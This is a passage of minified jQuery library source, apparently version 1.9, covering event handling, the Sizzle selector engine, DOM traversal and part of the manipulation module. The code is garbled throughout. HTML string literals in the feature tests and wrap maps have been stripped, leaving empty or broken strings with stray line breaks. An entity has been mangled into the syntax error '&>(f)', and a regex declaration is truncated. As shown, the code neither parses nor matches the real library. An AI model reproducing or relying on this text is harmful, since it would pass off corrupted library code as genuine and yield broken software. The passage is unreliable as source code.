t=e.target;Z.test(t.nodeName)&&!b._data(t,"changeBubbles")&&(b.event.add(t,"change._change",function(e){!this.parentNode||e.isSimulated||e.isTrigger||b.event.simulate("change",this.parentNode,e,!0)}),b._data(t,"changeBubbles",!0))}),t)},handle:function(e){var n=e.target;return this!==n||e.isSimulated||e.isTrigger||"radio"!==n.type&&"checkbox"!==n.type?e.handleObj.handler.apply(this,arguments):t},teardown:function(){return b.event.remove(this,"._change"),!Z.test(this.nodeName)}}),b.support.focusinBubbles||b.each({focus:"focusin",blur:"focusout"},function(e,t){var n=0,r=function(e){b.event.simulate(t,e.target,b.event.fix(e),!0)};b.event.special[t]={setup:function(){0===n++&&o.addEventListener(e,r,!0)},teardown:function(){0===--n&&o.removeEventListener(e,r,!0)}}}),b.fn.extend({on:function(e,n,r,i,o){var a,s;if("object"==typeof e){"string"!=typeof n&&(r=r||n,n=t);for(a in e)this.on(a,n,r,e[a],o);return this}if(null==r&&null==i?(i=n,r=n=t):null==i&&("string"==typeof n?(i=r,r=t):(i=r,r=n,n=t)),i===!1)i=ot;else if(!i)return this;return 1===o&&(s=i,i=function(e){return b().off(e),s.apply(this,arguments)},i.guid=s.guid||(s.guid=b.guid++)),this.each(function(){b.event.add(this,e,i,r,n)})},one:function(e,t,n,r){return this.on(e,t,n,r,1)},off:function(e,n,r){var i,o;if(e&&e.preventDefault&&e.handleObj)return i=e.handleObj,b(e.delegateTarget).off(i.namespace?i.origType+"."+i.namespace:i.origType,i.selector,i.handler),this;if("object"==typeof e){for(o in e)this.off(o,n,e[o]);return this}return(n===!1||"function"==typeof n)&&(r=n,n=t),r===!1&&(r=ot),this.each(function(){b.event.remove(this,e,r,n)})},bind:function(e,t,n){return this.on(e,null,t,n)},unbind:function(e,t){return this.off(e,null,t)},delegate:function(e,t,n,r){return this.on(t,e,n,r)},undelegate:function(e,t,n){return 1===arguments.length?this.off(e,"**"):this.off(t,e||"**",n)},trigger:function(e,t){return this.each(function(){b.event.trigger(e,t,this)})},triggerHandler:function(e,n){var r=this[0];return r?b.event.trigger(e,n,r,!0):t}}),function(e,t){var n,r,i,o,a,s,u,l,c,p,f,d,h,g,m,y,v,x="sizzle"+-new Date,w=e.document,T={},N=0,C=0,k=it(),E=it(),S=it(),A=typeof t,j=1<<31,D=[],L=D.pop,H=D.push,q=D.slice,M=D.indexOf||function(e){var t=0,n=this.length;for(;n>t;t++)if(this[t]===e)return t;return-1},_="[\\x20\\t\\r\\n\\f]",F="(?:\\\\.|[\\w-]|[^\\x00-\\xa0])+",O=F.replace("w","w#"),B="([*^$|!~]?=)",P="\\["+_+"*("+F+")"+_+"*(?:"+B+_+"*(?:(['\"])((?:\\\\.|[^\\\\])*?)\\3|("+O+")|)|)"+_+"*\\]",R=":("+F+")(?:\\(((['\"])((?:\\\\.|[^\\\\])*?)\\3|((?:\\\\.|[^\\\\()[\\]]|"+P.replace(3,8)+")*)|.*)\\)|)",W=RegExp("^"+_+"+|((?:^|[^\\\\])(?:\\\\.)*)"+_+"+$","g"),$=RegExp("^"+_+"*,"+_+"*"),I=RegExp("^"+_+"*([\\x20\\t\\r\\n\\f>+~])"+_+"*"),z=RegExp(R),X=RegExp("^"+O+"$"),U={ID:RegExp("^#("+F+")"),CLASS:RegExp("^\\.("+F+")"),NAME:RegExp("^\\[name=['\"]?("+F+")['\"]?\\]"),TAG:RegExp("^("+F.replace("w","w*")+")"),ATTR:RegExp("^"+P),PSEUDO:RegExp("^"+R),CHILD:RegExp("^:(only|first|last|nth|nth-last)-(child|of-type)(?:\\("+_+"*(even|odd|(([+-]|)(\\d*)n|)"+_+"*(?:([+-]|)"+_+"*(\\d+)|))"+_+"*\\)|)","i"),needsContext:RegExp("^"+_+"*[>+~]|:(even|odd|eq|gt|lt|nth|first|last)(?:\\("+_+"*((?:-\\d)?\\d*)"+_+"*\\)|)(?=[^-]|$)","i")},V=/[\x20\t\r\n\f]*[+~]/,Y=/^[^{]+\{\s*\[native code/,J=/^(?:#([\w-]+)|(\w+)|\.([\w-]+))$/,G=/^(?:input|select|textarea|button)$/i,Q=/^h\d$/i,K=/'|\\/g,Z=/\=[\x20\t\r\n\f]*([^'"\]]*)[\x20\t\r\n\f]*\]/g,et=/\\([\da-fA-F]{1,6}[\x20\t\r\n\f]?|.)/g,tt=function(e,t){var n="0x"+t-65536;return n!==n?t:0>n?String.fromCharCode(n+65536):String.fromCharCode(55296|n>>10,56320|1023&n)};try{q.call(w.documentElement.childNodes,0)[0].nodeType}catch(nt){q=function(e){var t,n=[];while(t=this[e++])n.push(t);return n}}function rt(e){return Y.test(e+"")}function it(){var e,t=[];return e=function(n,r){return t.push(n+=" ")>i.cacheLength&&delete e[t.shift()],e[n]=r}}function ot(e){return e[x]=!0,e}function at(e){var t=p.createElement("div");try{return e(t)}catch(n){return!1}finally{t=null}}function st(e,t,n,r){var i,o,a,s,u,l,f,g,m,v;if((t?t.ownerDocument||t:w)!==p&&c(t),t=t||p,n=n||[],!e||"string"!=typeof e)return n;if(1!==(s=t.nodeType)&&9!==s)return[];if(!d&&!r){if(i=J.exec(e))if(a=i[1]){if(9===s){if(o=t.getElementById(a),!o||!o.parentNode)return n;if(o.id===a)return n.push(o),n}else if(t.ownerDocument&&(o=t.ownerDocument.getElementById(a))&&y(t,o)&&o.id===a)return n.push(o),n}else{if(i[2])return H.apply(n,q.call(t.getElementsByTagName(e),0)),n;if((a=i[3])&&T.getByClassName&&t.getElementsByClassName)return H.apply(n,q.call(t.getElementsByClassName(a),0)),n}if(T.qsa&&!h.test(e)){if(f=!0,g=x,m=t,v=9===s&&e,1===s&&"object"!==t.nodeName.toLowerCase()){l=ft(e),(f=t.getAttribute("id"))?g=f.replace(K,"\\$&"):t.setAttribute("id",g),g="[id='"+g+"'] ",u=l.length;while(u--)l[u]=g+dt(l[u]);m=V.test(e)&&t.parentNode||t,v=l.join(",")}if(v)try{return H.apply(n,q.call(m.querySelectorAll(v),0)),n}catch(b){}finally{f||t.removeAttribute("id")}}}return wt(e.replace(W,"$1"),t,n,r)}a=st.isXML=function(e){var t=e&&(e.ownerDocument||e).documentElement;return t?"HTML"!==t.nodeName:!1},c=st.setDocument=function(e){var n=e?e.ownerDocument||e:w;return n!==p&&9===n.nodeType&&n.documentElement?(p=n,f=n.documentElement,d=a(n),T.tagNameNoComments=at(function(e){return e.appendChild(n.createComment("")),!e.getElementsByTagName("*").length}),T.attributes=at(function(e){e.innerHTML="";var t=typeof e.lastChild.getAttribute("multiple");return"boolean"!==t&&"string"!==t}),T.getByClassName=at(function(e){return e.innerHTML="",e.getElementsByClassName&&e.getElementsByClassName("e").length?(e.lastChild.className="e",2===e.getElementsByClassName("e").length):!1}),T.getByName=at(function(e){e.id=x+0,e.innerHTML="
    ",f.insertBefore(e,f.firstChild);var t=n.getElementsByName&&n.getElementsByName(x).length===2+n.getElementsByName(x+0).length;return T.getIdNotName=!n.getElementById(x),f.removeChild(e),t}),i.attrHandle=at(function(e){return e.innerHTML="",e.firstChild&&typeof e.firstChild.getAttribute!==A&&"#"===e.firstChild.getAttribute("href")})?{}:{href:function(e){return e.getAttribute("href",2)},type:function(e){return e.getAttribute("type")}},T.getIdNotName?(i.find.ID=function(e,t){if(typeof t.getElementById!==A&&!d){var n=t.getElementById(e);return n&&n.parentNode?[n]:[]}},i.filter.ID=function(e){var t=e.replace(et,tt);return function(e){return e.getAttribute("id")===t}}):(i.find.ID=function(e,n){if(typeof n.getElementById!==A&&!d){var r=n.getElementById(e);return r?r.id===e||typeof r.getAttributeNode!==A&&r.getAttributeNode("id").value===e?[r]:t:[]}},i.filter.ID=function(e){var t=e.replace(et,tt);return function(e){var n=typeof e.getAttributeNode!==A&&e.getAttributeNode("id");return n&&n.value===t}}),i.find.TAG=T.tagNameNoComments?function(e,n){return typeof n.getElementsByTagName!==A?n.getElementsByTagName(e):t}:function(e,t){var n,r=[],i=0,o=t.getElementsByTagName(e);if("*"===e){while(n=o[i++])1===n.nodeType&&r.push(n);return r}return o},i.find.NAME=T.getByName&&function(e,n){return typeof n.getElementsByName!==A?n.getElementsByName(name):t},i.find.CLASS=T.getByClassName&&function(e,n){return typeof n.getElementsByClassName===A||d?t:n.getElementsByClassName(e)},g=[],h=[":focus"],(T.qsa=rt(n.querySelectorAll))&&(at(function(e){e.innerHTML="",e.querySelectorAll("[selected]").length||h.push("\\["+_+"*(?:checked|disabled|ismap|multiple|readonly|selected|value)"),e.querySelectorAll(":checked").length||h.push(":checked")}),at(function(e){e.innerHTML="",e.querySelectorAll("[i^='']").length&&h.push("[*^$]="+_+"*(?:\"\"|'')"),e.querySelectorAll(":enabled").length||h.push(":enabled",":disabled"),e.querySelectorAll("*,:x"),h.push(",.*:")})),(T.matchesSelector=rt(m=f.matchesSelector||f.mozMatchesSelector||f.webkitMatchesSelector||f.oMatchesSelector||f.msMatchesSelector))&&at(function(e){T.disconnectedMatch=m.call(e,"div"),m.call(e,"[s!='']:x"),g.push("!=",R)}),h=RegExp(h.join("|")),g=RegExp(g.join("|")),y=rt(f.contains)||f.compareDocumentPosition?function(e,t){var n=9===e.nodeType?e.documentElement:e,r=t&&t.parentNode;return e===r||!(!r||1!==r.nodeType||!(n.contains?n.contains(r):e.compareDocumentPosition&&16&e.compareDocumentPosition(r)))}:function(e,t){if(t)while(t=t.parentNode)if(t===e)return!0;return!1},v=f.compareDocumentPosition?function(e,t){var r;return e===t?(u=!0,0):(r=t.compareDocumentPosition&&e.compareDocumentPosition&&e.compareDocumentPosition(t))?1&r||e.parentNode&&11===e.parentNode.nodeType?e===n||y(w,e)?-1:t===n||y(w,t)?1:0:4&r?-1:1:e.compareDocumentPosition?-1:1}:function(e,t){var r,i=0,o=e.parentNode,a=t.parentNode,s=[e],l=[t];if(e===t)return u=!0,0;if(!o||!a)return e===n?-1:t===n?1:o?-1:a?1:0;if(o===a)return ut(e,t);r=e;while(r=r.parentNode)s.unshift(r);r=t;while(r=r.parentNode)l.unshift(r);while(s[i]===l[i])i++;return i?ut(s[i],l[i]):s[i]===w?-1:l[i]===w?1:0},u=!1,[0,0].sort(v),T.detectDuplicates=u,p):p},st.matches=function(e,t){return st(e,null,null,t)},st.matchesSelector=function(e,t){if((e.ownerDocument||e)!==p&&c(e),t=t.replace(Z,"='$1']"),!(!T.matchesSelector||d||g&&g.test(t)||h.test(t)))try{var n=m.call(e,t);if(n||T.disconnectedMatch||e.document&&11!==e.document.nodeType)return n}catch(r){}return st(t,p,null,[e]).length>0},st.contains=function(e,t){return(e.ownerDocument||e)!==p&&c(e),y(e,t)},st.attr=function(e,t){var n;return(e.ownerDocument||e)!==p&&c(e),d||(t=t.toLowerCase()),(n=i.attrHandle[t])?n(e):d||T.attributes?e.getAttribute(t):((n=e.getAttributeNode(t))||e.getAttribute(t))&&e[t]===!0?t:n&&n.specified?n.value:null},st.error=function(e){throw Error("Syntax error, unrecognized expression: "+e)},st.uniqueSort=function(e){var t,n=[],r=1,i=0;if(u=!T.detectDuplicates,e.sort(v),u){for(;t=e[r];r++)t===e[r-1]&&(i=n.push(r));while(i--)e.splice(n[i],1)}return e};function ut(e,t){var n=t&&e,r=n&&(~t.sourceIndex||j)-(~e.sourceIndex||j);if(r)return r;if(n)while(n=n.nextSibling)if(n===t)return-1;return e?1:-1}function lt(e){return function(t){var n=t.nodeName.toLowerCase();return"input"===n&&t.type===e}}function ct(e){return function(t){var n=t.nodeName.toLowerCase();return("input"===n||"button"===n)&&t.type===e}}function pt(e){return ot(function(t){return t=+t,ot(function(n,r){var i,o=e([],n.length,t),a=o.length;while(a--)n[i=o[a]]&&(n[i]=!(r[i]=n[i]))})})}o=st.getText=function(e){var t,n="",r=0,i=e.nodeType;if(i){if(1===i||9===i||11===i){if("string"==typeof e.textContent)return e.textContent;for(e=e.firstChild;e;e=e.nextSibling)n+=o(e)}else if(3===i||4===i)return e.nodeValue}else for(;t=e[r];r++)n+=o(t);return n},i=st.selectors={cacheLength:50,createPseudo:ot,match:U,find:{},relative:{">":{dir:"parentNode",first:!0}," ":{dir:"parentNode"},"+":{dir:"previousSibling",first:!0},"~":{dir:"previousSibling"}},preFilter:{ATTR:function(e){return e[1]=e[1].replace(et,tt),e[3]=(e[4]||e[5]||"").replace(et,tt),"~="===e[2]&&(e[3]=" "+e[3]+" "),e.slice(0,4)},CHILD:function(e){return e[1]=e[1].toLowerCase(),"nth"===e[1].slice(0,3)?(e[3]||st.error(e[0]),e[4]=+(e[4]?e[5]+(e[6]||1):2*("even"===e[3]||"odd"===e[3])),e[5]=+(e[7]+e[8]||"odd"===e[3])):e[3]&&st.error(e[0]),e},PSEUDO:function(e){var t,n=!e[5]&&e[2];return U.CHILD.test(e[0])?null:(e[4]?e[2]=e[4]:n&&z.test(n)&&(t=ft(n,!0))&&(t=n.indexOf(")",n.length-t)-n.length)&&(e[0]=e[0].slice(0,t),e[2]=n.slice(0,t)),e.slice(0,3))}},filter:{TAG:function(e){return"*"===e?function(){return!0}:(e=e.replace(et,tt).toLowerCase(),function(t){return t.nodeName&&t.nodeName.toLowerCase()===e})},CLASS:function(e){var t=k[e+" "];return t||(t=RegExp("(^|"+_+")"+e+"("+_+"|$)"))&&k(e,function(e){return t.test(e.className||typeof e.getAttribute!==A&&e.getAttribute("class")||"")})},ATTR:function(e,t,n){return function(r){var i=st.attr(r,e);return null==i?"!="===t:t?(i+="","="===t?i===n:"!="===t?i!==n:"^="===t?n&&0===i.indexOf(n):"*="===t?n&&i.indexOf(n)>-1:"$="===t?n&&i.slice(-n.length)===n:"~="===t?(" "+i+" ").indexOf(n)>-1:"|="===t?i===n||i.slice(0,n.length+1)===n+"-":!1):!0}},CHILD:function(e,t,n,r,i){var o="nth"!==e.slice(0,3),a="last"!==e.slice(-4),s="of-type"===t;return 1===r&&0===i?function(e){return!!e.parentNode}:function(t,n,u){var l,c,p,f,d,h,g=o!==a?"nextSibling":"previousSibling",m=t.parentNode,y=s&&t.nodeName.toLowerCase(),v=!u&&!s;if(m){if(o){while(g){p=t;while(p=p[g])if(s?p.nodeName.toLowerCase()===y:1===p.nodeType)return!1;h=g="only"===e&&!h&&"nextSibling"}return!0}if(h=[a?m.firstChild:m.lastChild],a&&v){c=m[x]||(m[x]={}),l=c[e]||[],d=l[0]===N&&l[1],f=l[0]===N&&l[2],p=d&&m.childNodes[d];while(p=++d&&p&&p[g]||(f=d=0)||h.pop())if(1===p.nodeType&&++f&&p===t){c[e]=[N,d,f];break}}else if(v&&(l=(t[x]||(t[x]={}))[e])&&l[0]===N)f=l[1];else while(p=++d&&p&&p[g]||(f=d=0)||h.pop())if((s?p.nodeName.toLowerCase()===y:1===p.nodeType)&&++f&&(v&&((p[x]||(p[x]={}))[e]=[N,f]),p===t))break;return f-=i,f===r||0===f%r&&f/r>=0}}},PSEUDO:function(e,t){var n,r=i.pseudos[e]||i.setFilters[e.toLowerCase()]||st.error("unsupported pseudo: "+e);return r[x]?r(t):r.length>1?(n=[e,e,"",t],i.setFilters.hasOwnProperty(e.toLowerCase())?ot(function(e,n){var i,o=r(e,t),a=o.length;while(a--)i=M.call(e,o[a]),e[i]=!(n[i]=o[a])}):function(e){return r(e,0,n)}):r}},pseudos:{not:ot(function(e){var t=[],n=[],r=s(e.replace(W,"$1"));return r[x]?ot(function(e,t,n,i){var o,a=r(e,null,i,[]),s=e.length;while(s--)(o=a[s])&&(e[s]=!(t[s]=o))}):function(e,i,o){return t[0]=e,r(t,null,o,n),!n.pop()}}),has:ot(function(e){return function(t){return st(e,t).length>0}}),contains:ot(function(e){return function(t){return(t.textContent||t.innerText||o(t)).indexOf(e)>-1}}),lang:ot(function(e){return X.test(e||"")||st.error("unsupported lang: "+e),e=e.replace(et,tt).toLowerCase(),function(t){var n;do if(n=d?t.getAttribute("xml:lang")||t.getAttribute("lang"):t.lang)return n=n.toLowerCase(),n===e||0===n.indexOf(e+"-");while((t=t.parentNode)&&1===t.nodeType);return!1}}),target:function(t){var n=e.location&&e.location.hash;return n&&n.slice(1)===t.id},root:function(e){return e===f},focus:function(e){return e===p.activeElement&&(!p.hasFocus||p.hasFocus())&&!!(e.type||e.href||~e.tabIndex)},enabled:function(e){return e.disabled===!1},disabled:function(e){return e.disabled===!0},checked:function(e){var t=e.nodeName.toLowerCase();return"input"===t&&!!e.checked||"option"===t&&!!e.selected},selected:function(e){return e.parentNode&&e.parentNode.selectedIndex,e.selected===!0},empty:function(e){for(e=e.firstChild;e;e=e.nextSibling)if(e.nodeName>"@"||3===e.nodeType||4===e.nodeType)return!1;return!0},parent:function(e){return!i.pseudos.empty(e)},header:function(e){return Q.test(e.nodeName)},input:function(e){return G.test(e.nodeName)},button:function(e){var t=e.nodeName.toLowerCase();return"input"===t&&"button"===e.type||"button"===t},text:function(e){var t;return"input"===e.nodeName.toLowerCase()&&"text"===e.type&&(null==(t=e.getAttribute("type"))||t.toLowerCase()===e.type)},first:pt(function(){return[0]}),last:pt(function(e,t){return[t-1]}),eq:pt(function(e,t,n){return[0>n?n+t:n]}),even:pt(function(e,t){var n=0;for(;t>n;n+=2)e.push(n);return e}),odd:pt(function(e,t){var n=1;for(;t>n;n+=2)e.push(n);return e}),lt:pt(function(e,t,n){var r=0>n?n+t:n;for(;--r>=0;)e.push(r);return e}),gt:pt(function(e,t,n){var r=0>n?n+t:n;for(;t>++r;)e.push(r);return e})}};for(n in{radio:!0,checkbox:!0,file:!0,password:!0,image:!0})i.pseudos[n]=lt(n);for(n in{submit:!0,reset:!0})i.pseudos[n]=ct(n);function ft(e,t){var n,r,o,a,s,u,l,c=E[e+" "];if(c)return t?0:c.slice(0);s=e,u=[],l=i.preFilter;while(s){(!n||(r=$.exec(s)))&&(r&&(s=s.slice(r[0].length)||s),u.push(o=[])),n=!1,(r=I.exec(s))&&(n=r.shift(),o.push({value:n,type:r[0].replace(W," ")}),s=s.slice(n.length));for(a in i.filter)!(r=U[a].exec(s))||l[a]&&!(r=l[a](r))||(n=r.shift(),o.push({value:n,type:a,matches:r}),s=s.slice(n.length));if(!n)break}return t?s.length:s?st.error(e):E(e,u).slice(0)}function dt(e){var t=0,n=e.length,r="";for(;n>t;t++)r+=e[t].value;return r}function ht(e,t,n){var i=t.dir,o=n&&"parentNode"===i,a=C++;return t.first?function(t,n,r){while(t=t[i])if(1===t.nodeType||o)return e(t,n,r)}:function(t,n,s){var u,l,c,p=N+" "+a;if(s){while(t=t[i])if((1===t.nodeType||o)&&e(t,n,s))return!0}else while(t=t[i])if(1===t.nodeType||o)if(c=t[x]||(t[x]={}),(l=c[i])&&l[0]===p){if((u=l[1])===!0||u===r)return u===!0}else if(l=c[i]=[p],l[1]=e(t,n,s)||r,l[1]===!0)return!0}}function gt(e){return e.length>1?function(t,n,r){var i=e.length;while(i--)if(!e[i](t,n,r))return!1;return!0}:e[0]}function mt(e,t,n,r,i){var o,a=[],s=0,u=e.length,l=null!=t;for(;u>s;s++)(o=e[s])&&(!n||n(o,r,i))&&(a.push(o),l&&t.push(s));return a}function yt(e,t,n,r,i,o){return r&&!r[x]&&(r=yt(r)),i&&!i[x]&&(i=yt(i,o)),ot(function(o,a,s,u){var l,c,p,f=[],d=[],h=a.length,g=o||xt(t||"*",s.nodeType?[s]:s,[]),m=!e||!o&&t?g:mt(g,f,e,s,u),y=n?i||(o?e:h||r)?[]:a:m;if(n&&n(m,y,s,u),r){l=mt(y,d),r(l,[],s,u),c=l.length;while(c--)(p=l[c])&&(y[d[c]]=!(m[d[c]]=p))}if(o){if(i||e){if(i){l=[],c=y.length;while(c--)(p=y[c])&&l.push(m[c]=p);i(null,y=[],l,u)}c=y.length;while(c--)(p=y[c])&&(l=i?M.call(o,p):f[c])>-1&&(o[l]=!(a[l]=p))}}else y=mt(y===a?y.splice(h,y.length):y),i?i(null,a,y,u):H.apply(a,y)})}function vt(e){var t,n,r,o=e.length,a=i.relative[e[0].type],s=a||i.relative[" "],u=a?1:0,c=ht(function(e){return e===t},s,!0),p=ht(function(e){return M.call(t,e)>-1},s,!0),f=[function(e,n,r){return!a&&(r||n!==l)||((t=n).nodeType?c(e,n,r):p(e,n,r))}];for(;o>u;u++)if(n=i.relative[e[u].type])f=[ht(gt(f),n)];else{if(n=i.filter[e[u].type].apply(null,e[u].matches),n[x]){for(r=++u;o>r;r++)if(i.relative[e[r].type])break;return yt(u>1&>(f),u>1&&dt(e.slice(0,u-1)).replace(W,"$1"),n,r>u&&vt(e.slice(u,r)),o>r&&vt(e=e.slice(r)),o>r&&dt(e))}f.push(n)}return gt(f)}function bt(e,t){var n=0,o=t.length>0,a=e.length>0,s=function(s,u,c,f,d){var h,g,m,y=[],v=0,b="0",x=s&&[],w=null!=d,T=l,C=s||a&&i.find.TAG("*",d&&u.parentNode||u),k=N+=null==T?1:Math.random()||.1;for(w&&(l=u!==p&&u,r=n);null!=(h=C[b]);b++){if(a&&h){g=0;while(m=e[g++])if(m(h,u,c)){f.push(h);break}w&&(N=k,r=++n)}o&&((h=!m&&h)&&v--,s&&x.push(h))}if(v+=b,o&&b!==v){g=0;while(m=t[g++])m(x,y,u,c);if(s){if(v>0)while(b--)x[b]||y[b]||(y[b]=L.call(f));y=mt(y)}H.apply(f,y),w&&!s&&y.length>0&&v+t.length>1&&st.uniqueSort(f)}return w&&(N=k,l=T),x};return o?ot(s):s}s=st.compile=function(e,t){var n,r=[],i=[],o=S[e+" "];if(!o){t||(t=ft(e)),n=t.length;while(n--)o=vt(t[n]),o[x]?r.push(o):i.push(o);o=S(e,bt(i,r))}return o};function xt(e,t,n){var r=0,i=t.length;for(;i>r;r++)st(e,t[r],n);return n}function wt(e,t,n,r){var o,a,u,l,c,p=ft(e);if(!r&&1===p.length){if(a=p[0]=p[0].slice(0),a.length>2&&"ID"===(u=a[0]).type&&9===t.nodeType&&!d&&i.relative[a[1].type]){if(t=i.find.ID(u.matches[0].replace(et,tt),t)[0],!t)return n;e=e.slice(a.shift().value.length)}o=U.needsContext.test(e)?0:a.length;while(o--){if(u=a[o],i.relative[l=u.type])break;if((c=i.find[l])&&(r=c(u.matches[0].replace(et,tt),V.test(a[0].type)&&t.parentNode||t))){if(a.splice(o,1),e=r.length&&dt(a),!e)return H.apply(n,q.call(r,0)),n;break}}}return s(e,p)(r,t,d,n,V.test(e)),n}i.pseudos.nth=i.pseudos.eq;function Tt(){}i.filters=Tt.prototype=i.pseudos,i.setFilters=new Tt,c(),st.attr=b.attr,b.find=st,b.expr=st.selectors,b.expr[":"]=b.expr.pseudos,b.unique=st.uniqueSort,b.text=st.getText,b.isXMLDoc=st.isXML,b.contains=st.contains}(e);var at=/Until$/,st=/^(?:parents|prev(?:Until|All))/,ut=/^.[^:#\[\.,]*$/,lt=b.expr.match.needsContext,ct={children:!0,contents:!0,next:!0,prev:!0};b.fn.extend({find:function(e){var t,n,r,i=this.length;if("string"!=typeof e)return r=this,this.pushStack(b(e).filter(function(){for(t=0;i>t;t++)if(b.contains(r[t],this))return!0}));for(n=[],t=0;i>t;t++)b.find(e,this[t],n);return n=this.pushStack(i>1?b.unique(n):n),n.selector=(this.selector?this.selector+" ":"")+e,n},has:function(e){var t,n=b(e,this),r=n.length;return this.filter(function(){for(t=0;r>t;t++)if(b.contains(this,n[t]))return!0})},not:function(e){return this.pushStack(ft(this,e,!1))},filter:function(e){return this.pushStack(ft(this,e,!0))},is:function(e){return!!e&&("string"==typeof e?lt.test(e)?b(e,this.context).index(this[0])>=0:b.filter(e,this).length>0:this.filter(e).length>0)},closest:function(e,t){var n,r=0,i=this.length,o=[],a=lt.test(e)||"string"!=typeof e?b(e,t||this.context):0;for(;i>r;r++){n=this[r];while(n&&n.ownerDocument&&n!==t&&11!==n.nodeType){if(a?a.index(n)>-1:b.find.matchesSelector(n,e)){o.push(n);break}n=n.parentNode}}return this.pushStack(o.length>1?b.unique(o):o)},index:function(e){return e?"string"==typeof e?b.inArray(this[0],b(e)):b.inArray(e.jquery?e[0]:e,this):this[0]&&this[0].parentNode?this.first().prevAll().length:-1},add:function(e,t){var n="string"==typeof e?b(e,t):b.makeArray(e&&e.nodeType?[e]:e),r=b.merge(this.get(),n);return this.pushStack(b.unique(r))},addBack:function(e){return this.add(null==e?this.prevObject:this.prevObject.filter(e))}}),b.fn.andSelf=b.fn.addBack;function pt(e,t){do e=e[t];while(e&&1!==e.nodeType);return e}b.each({parent:function(e){var t=e.parentNode;return t&&11!==t.nodeType?t:null},parents:function(e){return b.dir(e,"parentNode")},parentsUntil:function(e,t,n){return b.dir(e,"parentNode",n)},next:function(e){return pt(e,"nextSibling")},prev:function(e){return pt(e,"previousSibling")},nextAll:function(e){return b.dir(e,"nextSibling")},prevAll:function(e){return b.dir(e,"previousSibling")},nextUntil:function(e,t,n){return b.dir(e,"nextSibling",n)},prevUntil:function(e,t,n){return b.dir(e,"previousSibling",n)},siblings:function(e){return b.sibling((e.parentNode||{}).firstChild,e)},children:function(e){return b.sibling(e.firstChild)},contents:function(e){return b.nodeName(e,"iframe")?e.contentDocument||e.contentWindow.document:b.merge([],e.childNodes)}},function(e,t){b.fn[e]=function(n,r){var i=b.map(this,t,n);return at.test(e)||(r=n),r&&"string"==typeof r&&(i=b.filter(r,i)),i=this.length>1&&!ct[e]?b.unique(i):i,this.length>1&&st.test(e)&&(i=i.reverse()),this.pushStack(i)}}),b.extend({filter:function(e,t,n){return n&&(e=":not("+e+")"),1===t.length?b.find.matchesSelector(t[0],e)?[t[0]]:[]:b.find.matches(e,t)},dir:function(e,n,r){var i=[],o=e[n];while(o&&9!==o.nodeType&&(r===t||1!==o.nodeType||!b(o).is(r)))1===o.nodeType&&i.push(o),o=o[n];return i},sibling:function(e,t){var n=[];for(;e;e=e.nextSibling)1===e.nodeType&&e!==t&&n.push(e);return n}});function ft(e,t,n){if(t=t||0,b.isFunction(t))return b.grep(e,function(e,r){var i=!!t.call(e,r,e);return i===n});if(t.nodeType)return b.grep(e,function(e){return e===t===n});if("string"==typeof t){var r=b.grep(e,function(e){return 1===e.nodeType});if(ut.test(t))return b.filter(t,r,!n);t=b.filter(t,r)}return b.grep(e,function(e){return b.inArray(e,t)>=0===n})}function dt(e){var t=ht.split("|"),n=e.createDocumentFragment();if(n.createElement)while(t.length)n.createElement(t.pop());return n}var ht="abbr|article|aside|audio|bdi|canvas|data|datalist|details|figcaption|figure|footer|header|hgroup|mark|meter|nav|output|progress|section|summary|time|video",gt=/ jQuery\d+="(?:null|\d+)"/g,mt=RegExp("<(?:"+ht+")[\\s/>]","i"),yt=/^\s+/,vt=/<(?!area|br|col|embed|hr|img|input|link|meta|param)(([\w:]+)[^>]*)\/>/gi,bt=/<([\w:]+)/,xt=/\s*$/g,At={option:[1,""],legend:[1,"
    ","
    "],area:[1,"",""],param:[1,"",""],thead:[1,"","
    "],tr:[2,"","
    "],col:[2,"","
    "],td:[3,"","
    "],_default:b.support.htmlSerialize?[0,"",""]:[1,"X
    ","
    "]},jt=dt(o),Dt=jt.appendChild(o.createElement("div"));At.optgroup=At.option,At.tbody=At.tfoot=At.colgroup=At.caption=At.thead,At.th=At.td,b.fn.extend({text:function(e){return b.access(this,function(e){return e===t?b.text(this):this.empty().append((this[0]&&this[0].ownerDocument||o).createTextNode(e))},null,e,arguments.length)},wrapAll:function(e){if(b.isFunction(e))return this.each(function(t){b(this).wrapAll(e.call(this,t))});if(this[0]){var t=b(e,this[0].ownerDocument).eq(0).clone(!0);this[0].parentNode&&t.insertBefore(this[0]),t.map(function(){var e=this;while(e.firstChild&&1===e.firstChild.nodeType)e=e.firstChild;return e}).append(this)}return this},wrapInner:function(e){return b.isFunction(e)?this.each(function(t){b(this).wrapInner(e.call(this,t))}):this.each(function(){var t=b(this),n=t.contents();n.length?n.wrapAll(e):t.append(e)})},wrap:function(e){var t=b.isFunction(e);return this.each(function(n){b(this).wrapAll(t?e.call(this,n):e)})},unwrap:function(){return this.parent().each(function(){b.nodeName(this,"body")||b(this).replaceWith(this.childNodes)}).end()},append:function(){return this.domManip(arguments,!0,function(e){(1===this.nodeType||11===this.nodeType||9===this.nodeType)&&this.appendChild(e)})},prepend:function(){return this.domManip(arguments,!0,function(e){(1===this.nodeType||11===this.nodeType||9===this.nodeType)&&this.insertBefore(e,this.firstChild)})},before:function(){return this.domManip(arguments,!1,function(e){this.parentNode&&this.parentNode.insertBefore(e,this)})},after:function(){return this.domManip(arguments,!1,function(e){this.parentNode&&this.parentNode.insertBefore(e,this.nextSibling)})},remove:function(e,t){var n,r=0;for(;null!=(n=this[r]);r++)(!e||b.filter(e,[n]).length>0)&&(t||1!==n.nodeType||b.cleanData(Ot(n)),n.parentNode&&(t&&b.contains(n.ownerDocument,n)&&Mt(Ot(n,"script")),n.parentNode.removeChild(n)));return this},empty:function(){var e,t=0;for(;null!=(e=this[t]);t++){1===e.nodeType&&b.cleanData(Ot(e,!1));while(e.firstChild)e.removeChild(e.firstChild);e.options&&b.nodeName(e,"select")&&(e.options.length=0)}return this},clone:function(e,t){return e=null==e?!1:e,t=null==t?e:t,this.map(function(){return b.clone(this,e,t)})},html:function(e){return b.access(this,function(e){var n=this[0]||{},r=0,i=this.length;if(e===t)return 1===n.nodeType?n.innerHTML.replace(gt,""):t;if(!("string"!=typeof e||Tt.test(e)||!b.support.htmlSerialize&&mt.test(e)||!b.support.leadingWhitespace&&yt.test(e)||At[(bt.exec(e)||["",""])[1].toLowerCase()])){e=e.replace(vt,"<$1>");try{for(;i>r;r++)n=this[r]||{},1===n.nodeType&&(b.cleanData(Ot(n,!1)),n.innerHTML=e);n=0}catch(o){}}n&&this.empty().append(e)},null,e,arguments.length)},replaceWith:function(e){var t=b.isFunction(e);return t||"string"==typeof e||(e=b(e).not(this).detach()),this.domManip([e],!0,function(e){var 